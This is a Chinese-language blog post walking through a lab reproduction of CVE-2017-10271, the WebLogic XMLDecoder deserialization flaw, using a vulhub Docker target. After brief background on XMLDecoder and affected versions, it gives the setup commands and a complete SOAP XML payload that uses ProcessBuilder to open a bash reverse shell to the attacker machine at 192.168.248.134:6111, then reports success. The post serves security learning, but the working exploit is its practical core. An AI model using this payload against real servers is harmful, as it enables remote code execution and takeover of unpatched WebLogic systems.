漏洞复现之Weblogic XMLDecoder反序列化漏洞复现

漏洞复现之Weblogic XMLDecoder反序列化漏洞复现

[参考资料][!https://blog.csdn.net/qq_45300786/article/details/115563663]

基础知识

XMLDecoder

XMLDecoder是Java语言中的一个类,用于将XML格式的输入流解码为Java对象。它可以将保存在XML文件中的数据读入到程序中,并转换为Java中相应的对象,相对于手动解析XML文档,使用XMLDecoder可以更加方便地处理XML数据。通过使用XMLDecoder,Java程序员可以轻松地将XML文件读入内存,并使用Java对象来访问和操作XML数据,它常与XMLEncoder一起使用,后者可以将Java对象编码为XML格式并写入文件中。

WLS Security

WLS Security是WebLogic Server的安全组件,它提供了多种安全功能和机制,用于保护WebLogic Server及其应用程序的安全性。

漏洞简介

形成原因

Weblogic XMLDecoder反序列化漏洞是由于Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞编号

CVE-2017-10271

漏洞危害

远程代码执行等。

影响版本

10.3.6.0.0

12.1.3.0.0

12.2.1.1.0

12.2.1.2.0

环境搭建

攻击机(打本地靶场):kali(IP地址:192.168.248.134)

复现过程

1、启动vulhub靶场环境,查看相应端口。

cd /vulhub/weblogic/CVE-2017-10271
docker-compose up -d
docker-compose ps

image-20230619154339230

2、访问漏洞处所对应的URL。

http://192.168.248.129:7001/wls-wsat/CoordinatorPortType11

image-20230619155826208

3、开启端口监听,本实验中直接将本机作为攻击者的服务器,因此直接在本地开启监听6111端口。

image-20230619164716813

4、访问漏洞网页,抓取数据包,将GET请求改成POST请求,并在请求头字段添加:Content-Type=text/xml,请求体中写入如下payload:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.248.134/6111 0&gt;&amp;1</string>           //反弹Shell
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20230619165036014

5、http请求构造完成后,发送请求数据包,发现成功反弹,漏洞利用成功。

image-20230619165126456

image-20230619165156092

posted @ 2023-06-19 17:51  6小1  阅读(133)  评论(0编辑  收藏  举报